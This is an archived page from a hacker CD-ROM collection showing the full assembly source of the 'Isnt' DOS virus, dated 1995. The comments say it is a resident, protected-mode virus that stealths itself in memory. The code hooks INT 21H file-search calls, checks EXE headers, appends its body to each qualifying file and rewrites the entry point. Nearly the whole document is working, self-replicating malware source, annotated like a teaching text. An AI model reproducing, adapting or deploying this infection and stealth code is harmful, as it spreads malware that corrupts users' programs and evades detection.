home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / PROTMODE / ISNT.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-08-03  |  18.6 KB  |  454 lines

  1. ;The Isnt Virus.
  2. ;(C) 1995 American Eagle Publications, Inc. All rights reserved.
  3.  
  4. ;This is a resident virus which infects files when they are searched for
  5. ;using the FCB-based search functions. It is a protected mode virus which
  6. ;stealths its existence in memory.
  7.  
  8.         .SEQ                       ;segments must appear in sequential order
  9.                                    ;to simulate conditions in actual active virus
  10.  
  11.         .386P                      ;protected mode 386 code
  12.  
  13. ;HOSTSEG program code segment. The virus gains control before this routine and
  14. ;attaches itself to another EXE file.
  15. HOSTSEG SEGMENT BYTE USE16
  16.         ASSUME  CS:HOSTSEG,SS:HSTACK
  17.  
  18. ;This host simply terminates and returns control to DOS.
  19. HOST:
  20.         db      15000 dup (90H)          ;make host larger than virus
  21.         mov     ax,4C00H
  22.         int     21H                     ;terminate normally
  23. HOSTSEG ENDS
  24.  
  25. ;Host program stack segment
  26. STACKSIZE       EQU     100H           ;size of stack for this program
  27.  
  28. HSTACK  SEGMENT PARA USE16 STACK 'STACK'
  29.         db  STACKSIZE dup (0)
  30. HSTACK  ENDS
  31.  
  32. ;************************************************************************
  33. ;This is the virus itself
  34.  
  35. ;Intruder Virus code segment. This gains control first, before the host. As this
  36. ;ASM file is layed out, this program will look exactly like a simple program
  37. ;that was infected by the virus.
  38.  
  39. VSEG    SEGMENT PARA USE16
  40.         ASSUME  CS:VSEG,DS:VSEG,SS:HSTACK
  41.  
  42. ;******************************************************************************
  43. ;This is the data area for the virus which goes resident when the virus goes
  44. ;resident. It contains data needed by the resident part, and data which the
  45. ;startup code needs pre-initialized.
  46.  
  47. PAGES           EQU     2                       ;number of pages virus takes
  48.  
  49. OLD_21H         DD      ?                       ;old int 21H vector
  50.  
  51. ;The following is the control block for the DOS EXEC function. It is used by
  52. ;the virus to execute the host program after it installs itself in memory.
  53. EXEC_BLK        DW      0                       ;seg @ of environment string
  54.                 DW      80H,0                   ;4 byte ptr to command line
  55.                 DW      5CH,0                   ;4 byte ptr to first FCB
  56.                 DW      6CH,0                   ;4 byte ptr to second FCB
  57.  
  58. FNAME           DB      12 dup (0)
  59. FSIZE           DW      0,0
  60. EXE_HDR         DB      1CH dup (?)             ;buffer for EXE file header
  61. PSP             DW      ?                       ;place to store PSP segment
  62. T1SEG           DW      0                       ;flag to indicate first generation
  63. PARAS           DW      0                       ;paragraphs before virus start
  64.  
  65. ;The following 10 bytes must stay together because they are an image of 10
  66. ;bytes from the EXE header
  67. HOSTS           DW      0,STACKSIZE             ;host stack and code segments
  68. FILLER          DW      ?                       ;these are dynamically set by the virus
  69. HOSTC           DW      OFFSET HOST,0           ;but hard-coded in the 1st generation
  70.  
  71. ;******************************************************************************
  72. ;This portion of the virus goes resident if it isn't already. In theory,
  73. ;because of the stealthing, this code should never get control unless the
  74. ;virus is not resident. Thus, it never has to check to see if it's already
  75. ;there!
  76. ISNT:
  77.         mov     ax,4209H                ;see if virus is already there
  78.         int     21H
  79.         jnc     JMP_HOST                ;yes, just go execute host
  80.         call    IS_V86                  ;are we in V86 mode already?
  81.         jz      NOT_RESIDENT            ;no, go ahead and load
  82. JMP_HOST:                               ;else just execute host
  83.         mov     ax,cs                   ;relocate relocatables
  84.         add     WORD PTR cs:[HOSTS],ax
  85.         add     WORD PTR cs:[HOSTC+2],ax
  86.         cli                             ;set up host stack
  87.         mov     ss,WORD PTR cs:[HOSTS]
  88.         mov     sp,WORD PTR cs:[HOSTS+2]
  89.         sti
  90.         jmp     DWORD PTR cs:[HOSTC]    ;and transfer control to the host
  91.  
  92. NOT_RESIDENT:
  93.         mov     ax,ds                   ;move virus down
  94.         add     ax,10H                  ;first figure out where
  95.         mov     bx,ax
  96.         and     ax,0FF00H               ;set ax=page boundary
  97.         add     ax,100H                 ;go up to next bdy
  98.         mov     es,ax                   ;es=page bdy
  99.         mov     bx,ds
  100.         sub     ax,bx                   ;ax=paragraphs from PSP to virus
  101.         mov     cs:[PARAS],ax           ;save it here
  102.         push    cs                      ;first, let's move host to page:0
  103.         pop     ds                      ;note that the host must be larger
  104.         xor     si,si                   ;than the virus for this to work
  105.         mov     di,0
  106.         mov     cx,OFFSET END_STACK
  107.         add     cx,OFFSET END_TASK1 + 20H
  108.         rep     movsb                   ;move it
  109.         mov     ax,es
  110.         push    ax                      ;now jump to PAGE:GO_RESIDENT
  111.         mov     ax,OFFSET MOVED_DOWN
  112.         push    ax
  113.         retf                            ;using a retf
  114.  
  115. MOVED_DOWN:
  116.         push    ds
  117.         push    cs
  118.         pop     ds                      ;ds=cs
  119.         call    INSTALL_INTS            ;install interrupt handlers
  120.         cmp     WORD PTR [T1SEG],0      ;first generation?
  121.         pop     cx
  122.         jne     GO_EXEC                 ;no, go exec host
  123.         mov     ax,SEG TASK1
  124.         sub     ax,cx
  125.         mov     WORD PTR [T1SEG],ax     ;else reset flag
  126.         jmp     SHORT GO_RESIDENT       ;and go resident
  127.  
  128. GO_EXEC:
  129.         cli
  130.         mov     ax,cs
  131.         mov     ss,ax
  132.         mov     sp,OFFSET END_STACK     ;move stack down
  133.         sti
  134.         mov     ah,62H
  135.         int     21H                     ;get PSP
  136.         mov     es,bx
  137.         mov     bx,PAGES*256            ;prep to reduce memory size
  138.         add     bx,[PARAS]              ;bx=pages to save
  139.         mov     ah,4AH
  140.         int     21H                     ;reduce it
  141.  
  142.         mov     bx,2CH                  ;get environment segment
  143.         mov     es,es:[bx]
  144.         mov     ax,ds
  145.         sub     ax,[PARAS]
  146.         mov     WORD PTR [EXEC_BLK],es  ;set up EXEC data structure
  147.         mov     [EXEC_BLK+4],ax         ;for EXEC function to execute host
  148.         mov     [EXEC_BLK+8],ax
  149.         mov     [EXEC_BLK+12],ax
  150.  
  151.         xor     di,di                   ;now get host's name from
  152.         mov     cx,7FFFH                ;environment
  153.         xor     al,al
  154. HNLP:   repnz   scasb
  155.         scasb
  156.         loopnz  HNLP
  157.         add     di,2                    ;es:di point to host's name now
  158.  
  159.         push    es                      ;now prepare to EXEC the host
  160.         pop     ds
  161.         mov     dx,di                   ;ds:dx point to host's name now
  162.         push    cs
  163.         pop     es
  164.         mov     bx,OFFSET EXEC_BLK      ;es:bx point to EXEC_BLK
  165.         mov     ax,4B00H
  166.         int     21H                     ;now EXEC the host
  167.  
  168.         push    ds
  169.         pop     es                      ;es=segment of host EXECed
  170.         mov     ah,49H                  ;free memory from EXEC
  171.         int     21H
  172.         mov     ah,4DH                  ;get host return code
  173.         int     21H
  174.         push    cs
  175.         pop     ds
  176.         push    cs
  177.         pop     es
  178.  
  179. GO_RESIDENT:
  180.         push    ds
  181.         mov     ax,cs
  182.         add     ax,[T1SEG]
  183.         mov     ds,ax
  184. ASSUME DS:TASK1
  185.         mov     WORD PTR [NEW_21H],OFFSET SRCH_HOOK
  186.         mov     WORD PTR [NEW_21H+2],cs
  187.         mov     WORD PTR [SEG_FAULT],cs
  188.         pop     ds
  189. ASSUME DS:VSEG
  190.         call    REMOVE_INTS             ;remove int hook prior to going prot
  191.         call    GO_PROTECTED            ;go to protected mode if possible
  192.         push    cs
  193.         pop     ds
  194.         mov     dx,PAGES*256
  195.         add     dx,[PARAS]
  196.         mov     ax,3100H                ;return with host's return code
  197.  
  198.         pushf                           ;return @ for simulated int 21H
  199.         push    cs
  200.         push    OFFSET GR2 + 2
  201.  
  202.         pushf                           ;@ to iret to (Int 21 ISR)
  203.         mov     ax,WORD PTR [OLD_21H+2]
  204.         push    ax
  205.         mov     ax,WORD PTR [OLD_21H]
  206.         push    ax
  207.         mov     ax,3100H
  208. GR2:    int     0FFH
  209.  
  210.  
  211. ;INSTALL_INTS installs the interrupt 21H hook so that the virus becomes
  212. ;active. All this does is put the existing INT 21H vector in OLD_21H and
  213. ;put the address of INT_21H into the vector.
  214. INSTALL_INTS:
  215.         push    es                      ;preserve es!
  216.         mov     ax,3521H                ;hook interrupt 21H
  217.         int     21H
  218.         mov     WORD PTR [OLD_21H],bx   ;save old here
  219.         mov     WORD PTR [OLD_21H+2],es
  220.         mov     dx,OFFSET INT_21H       ;and set up new
  221.         mov     ax,2521H
  222.         int     21H
  223. IIRET:  pop     es
  224.         ret
  225.  
  226. ;This removes the interrupt 21H hook installed by INSTALL_INTS.
  227. REMOVE_INTS:
  228.         lds     dx,[OLD_21H]
  229.         mov     ax,2521H
  230.         int     21H
  231.         ret
  232.  
  233. ;This is the interrupt 21H hook. It becomes active when installed by
  234. ;INSTALL_INTS. It traps Functions 11H and 12H and infects all EXE files
  235. ;found by those functions.
  236. INT_21H:
  237.         cmp     ax,4209H        ;self-test for virus?
  238.         jne     GOLD
  239.         clc                     ;yes, clear carry and exit
  240.         retf    2
  241. GOLD:   jmp     DWORD PTR cs:[OLD_21H]  ;execute original int 21 handler
  242.  
  243.  
  244. ;This routine just calls the old Interrupt 21H vector internally. It is
  245. ;used to help get rid of tons of pushf/call DWORD PTR's in the code
  246. DOS:
  247.         pushf
  248.         call    DWORD PTR cs:[OLD_21H]
  249.         ret
  250.  
  251. ;This is the Search First/Search Next Function Hook, hooking the FCB-based
  252. ;functions
  253. SRCH_HOOK:
  254.         call    DOS             ;call original handler
  255.         or      al,al           ;was it successful?
  256.         jnz     SEXIT           ;nope, just exit
  257.         pushf
  258.         pusha                   ;save registers
  259.         push    es
  260.         push    ds
  261.  
  262.         mov     ah,2FH          ;get dta address in es:bx
  263.         int     21H
  264.         cmp     BYTE PTR es:[bx],0FFH
  265.         jne     SH1             ;an extended fcb?
  266.         add     bx,7            ;yes, adjust index
  267. SH1:    call    FILE_OK         ;ok to infect?
  268.         jc      EXIT_SRCH       ;no, see if already infected, and stealth
  269.         call    INFECT_FILE     ;go ahead and infect it
  270. EXIT_SRCH:
  271.         pop     ds              ;restore registers
  272.         pop     es
  273.         popa
  274.         popf
  275. SEXIT:  int     0FFH            ;protected mode return
  276.  
  277.  
  278. ;Function to determine whether the file found by the search routine is
  279. ;useable. If so return nc, else return c.
  280. ;What makes a file useable?:
  281. ;              a) It must have an extension of EXE.
  282. ;              b) The file date must be earlier than 2037.
  283. ;              c) The signature field in the EXE header must be 'MZ'. (These
  284. ;                 are the first two bytes in the file.)
  285. ;              d) The Overlay Number field in the EXE header must be zero.
  286. ;              e) It should be a DOS EXE, without a new header.
  287. ;              f) The host must be larger than the virus.
  288.  
  289. FILE_OK:
  290.         push    es
  291.         pop     ds
  292.         cmp     WORD PTR [bx+9],'XE'
  293.         jne     OK_EX                   ;check for an EXE file
  294.         cmp     BYTE PTR [bx+11],'E'
  295.         jne     OK_EX                   ;if not EXE, just return control to caller
  296.         jmp     OK_GOON
  297. OK_EX:  jmp     OK_END2
  298.  
  299. OK_GOON:mov     si,bx                   ;ds:si now points to fcb
  300.         inc     si                      ;now, to file name in fcb
  301.         push    cs
  302.         pop     es
  303.         mov     di,OFFSET FNAME         ;es:di points to file name buffer here
  304.         mov     cx,8                    ;number of bytes in file name
  305. FO1:    lodsb                           ;let's get the file name
  306.         stosb
  307.         cmp     al,20H
  308.         je      FO2
  309.         loop    FO1
  310.         inc     di
  311. FO2:    mov     BYTE PTR es:[di-1],'.'  ;put it in ASCIIZ format
  312.         mov     ax,'XE'                 ;with no spaces
  313.         stosw                           ;so we can use handle-based routines
  314.         mov     ax,'E'                  ;to check it further
  315.         stosw
  316.  
  317.         push    cs
  318.         pop     ds                     ;now cs, ds and es all point here
  319.         mov     dx,OFFSET FNAME
  320.         mov     ax,3D02H               ;r/w access open file using handle
  321.         int     21H
  322.         jc      OK_END1                ;error opening - C set - quit without closing
  323.         mov     bx,ax                  ;put handle into bx and leave bx alone from here on out
  324.  
  325.         mov     cx,1CH                 ;read 28 byte EXE file header
  326.         mov     dx,OFFSET EXE_HDR      ;into this buffer
  327.         mov     ah,3FH                 ;for examination and modification
  328.         call    DOS
  329.         jc      OK_END                 ;error in reading the file, so quit
  330.         cmp     WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
  331.         jnz     OK_END                 ;close & exit if not
  332.         cmp     WORD PTR [EXE_HDR+26],0;check overlay number
  333.         jnz     OK_END                 ;not 0 - exit with c set
  334.         cmp     WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
  335.         jnc     OK_END                 ;yes, it is not a DOS EXE, so skip it
  336.         cmp     WORD PTR [EXE_HDR+14H],OFFSET ISNT   ;startup = ISNT?
  337.         je      OK_END                 ;yes, probably already infected
  338.         mov     ax,WORD PTR [EXE_HDR+4];get page count
  339.         dec     ax
  340.         mov     cx,512
  341.         mul     cx
  342.         add     ax,WORD PTR [EXE_HDR+2]
  343.         adc     dx,0                   ;dx:ax contains file size
  344.         or      dx,dx                  ;if dx>0
  345.         jz      OK_END3                ;then the file is big enough
  346.         mov     dx,OFFSET END_TASK1 + 20H
  347.         add     dx,OFFSET END_STACK
  348.         add     dx,1000H               ;add 4K to handle page variability
  349.         cmp     ax,dx                  ;check size
  350.         jc      OK_END                 ;not big enough, exit
  351. OK_END3:clc                            ;no, all clear, clear carry
  352.         jmp     SHORT OK_END1          ;and leave file open
  353. OK_END: mov     ah,3EH                 ;else close the file
  354.         int     21H
  355. OK_END2:stc                            ;set carry to indicate file not ok
  356. OK_END1:ret                            ;return with c flag set properly
  357.  
  358. ;This routine moves the virus (this program) to the end of the EXE file
  359. ;Basically, it just copies everything here to there, and then goes and
  360. ;adjusts the EXE file header. It also makes sure the virus starts
  361. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  362. INFECT_FILE:
  363.         mov     ax,4202H                ;seek end of file to determine size
  364.         xor     cx,cx
  365.         xor     dx,dx
  366.         int     21H
  367.         mov     cx,dx                   ;move to regs for Function 42H
  368.         mov     dx,ax
  369.         or      dl,0FH                  ;adjust file length to paragraph
  370.         add     dx,1                    ;boundary
  371.         adc     cx,0
  372.         mov     WORD PTR [FSIZE+2],cx
  373.         mov     WORD PTR [FSIZE],dx
  374.         mov     ax,4200H                ;set file pointer, relative to beginning
  375.         int     21H                     ;go to end of file + boundary
  376.  
  377.         mov     cx,OFFSET END_STACK     ;last byte of code
  378.         add     cx,OFFSET END_TASK1+10H
  379.         xor     dx,dx                   ;first byte of code, ds:dx
  380.         mov     ah,40H                  ;write body of virus to file
  381.         int     21H
  382.  
  383. INF1:   mov     dx,WORD PTR [FSIZE]     ;find relocatables in code
  384.         mov     cx,WORD PTR [FSIZE+2]   ;original end of file
  385.         add     dx,OFFSET HOSTS         ;            + offset of HOSTS
  386.         adc     cx,0                    ;cx:dx is that number
  387.         mov     ax,4200H                ;set file pointer to 1st relocatable
  388.         int     21H
  389.  
  390.         mov     ax,WORD PTR [FSIZE]     ;calculate viral initial CS
  391.         mov     dx,WORD PTR [FSIZE+2]   ; = File size / 16 - Header Size(Para)
  392.         mov     cx,16
  393.         div     cx                      ;dx:ax contains file size / 16
  394.         sub     ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
  395.         push    ax
  396.         sub     WORD PTR [EXE_HDR+14],ax         ;adjust initial cs and ss
  397.         sub     WORD PTR [EXE_HDR+22],ax         ;to work with relocation scheme
  398.  
  399.         mov     dx,OFFSET EXE_HDR+14    ;get correct host ss:sp, cs:ip
  400.         mov     cx,10
  401.         mov     ah,40H                  ;and write it to HOSTS/HOSTC
  402.         int     21H
  403.  
  404.         xor     cx,cx                   ;so now adjust the EXE header values
  405.         xor     dx,dx
  406.         mov     ax,4200H                ;set file pointer to start of file
  407.         int     21H
  408.  
  409.         pop     ax
  410.         mov     WORD PTR [EXE_HDR+22],ax;save as initial CS
  411.         mov     WORD PTR [EXE_HDR+14],ax;save as initial SS
  412.         mov     WORD PTR [EXE_HDR+20],OFFSET ISNT        ;save initial ip
  413.         mov     WORD PTR [EXE_HDR+16],OFFSET END_VIRUS + STACKSIZE  ;save initial sp
  414.  
  415.         mov     dx,WORD PTR [FSIZE+2]   ;calculate new file size for header
  416.         mov     ax,WORD PTR [FSIZE]     ;get original size
  417.         add     ax,OFFSET END_VIRUS + 200H  ;add virus size + 1 paragraph, 512 bytes
  418.         adc     dx,0
  419.         add     ax,OFFSET END_TASK1 + 10H
  420.         adc     dx,0
  421.         mov     cx,200H                 ;divide by paragraph size
  422.         div     cx                      ;ax=paragraphs, dx=last paragraph size
  423.         mov     WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
  424.         mov     WORD PTR [EXE_HDR+2],dx ;last paragraph size here
  425.         mov     cx,1CH                  ;and save 1CH bytes of header
  426.         mov     dx,OFFSET EXE_HDR       ;at start of file
  427.         mov     ah,40H
  428.         int     21H
  429.  
  430.         mov     ah,3EH                  ;close file now
  431.         int     21H
  432.         ret                             ;that's it, infection is complete!
  433.  
  434. INCLUDE PROTECT.ASM
  435.  
  436. END_VIRUS:                                      ;marker for end of resident part
  437.  
  438. ;******************************************************************************
  439. ;This is a temporary local stack for the virus used by it when EXECing the
  440. ;host program. It reduces its memory size as much as possible to give the
  441. ;host room to EXEC. However, it must maintain a stack, so here it is. This
  442. ;part of the virus is not kept when it goes resident.
  443.  
  444. LOCAL_STK       DB      256 dup (0)             ;local stack for virus
  445.  
  446. END_STACK:
  447.  
  448. VSEG    ENDS
  449.  
  450. INCLUDE TASK1.ASM
  451.  
  452.         END     ISNT
  453.  
  454.